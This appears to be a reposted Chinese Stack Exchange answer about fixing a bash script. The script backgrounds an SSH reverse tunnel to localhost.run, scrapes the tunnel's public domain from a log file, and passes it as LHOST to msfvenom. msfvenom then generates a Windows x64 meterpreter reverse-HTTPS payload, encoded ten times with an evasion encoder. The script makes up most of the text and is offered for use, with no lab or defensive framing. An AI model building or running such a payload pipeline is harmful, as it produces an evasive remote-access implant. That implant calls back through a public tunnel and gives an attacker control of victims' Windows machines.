如何从其他命令输出提取变量,保持原命令运行并执行msfvenom?
解决SSH命令阻塞脚本并同时执行msfvenom的问题
你的脚本现在用$(...)捕获ssh命令的输出,这种写法会等命令彻底跑完才往下执行,但localhost.run的SSH会话是长期挂着的反向代理,所以脚本直接卡在这里不动了。要让SSH在后台保持运行,同时正常执行msfvenom,得调整输出捕获和后台运行的方式:
修改后的脚本如下:
#!/bin/bash # 用临时文件存ssh的输出内容 ssh_log="/tmp/localhost_run.log" # 让ssh后台运行,把所有输出写到临时文件,不阻塞脚本后续执行 ssh -f -R 80:localhost.run:80 localhost.run > "$ssh_log" 2>&1 # 等3秒给localhost.run初始化生成域名,时间可以根据实际情况调 sleep 3 # 从日志里提取第23行,只留第一个空格前的内容 line_23=$(sed -n '23s/ .*//p' "$ssh_log") echo "$line_23" > line_23.txt LHOST_value="$line_23" # 构造msfvenom命令并在新终端执行 msfvenom_command="msfvenom -p windows/x64/meterpreter_reverse_https -e x64/zutto_dekiru -i 10 -f raw LHOST=$LHOST_value LPORT=80 HandlerSSLCert=/home/jeremy/Desktop/msf/cert.pem -o Bitch.bin" gnome-terminal -- bash -c "$msfvenom_command"
关键调整点:
- 把
$(...)捕获输出改成后台运行ssh并将输出写入临时文件,避免脚本被阻塞。 - 加
sleep 3是给localhost.run足够时间生成域名,确保能正确提取到需要的内容,要是你的环境初始化慢,就把时间改长点。 - 去掉了原脚本里多余的转义引号,脚本里直接用双引号包变量就行,不用额外转义。
内容的提问来源于stack exchange,提问作者Soggy Suck
相关产品推荐
相关产品推荐

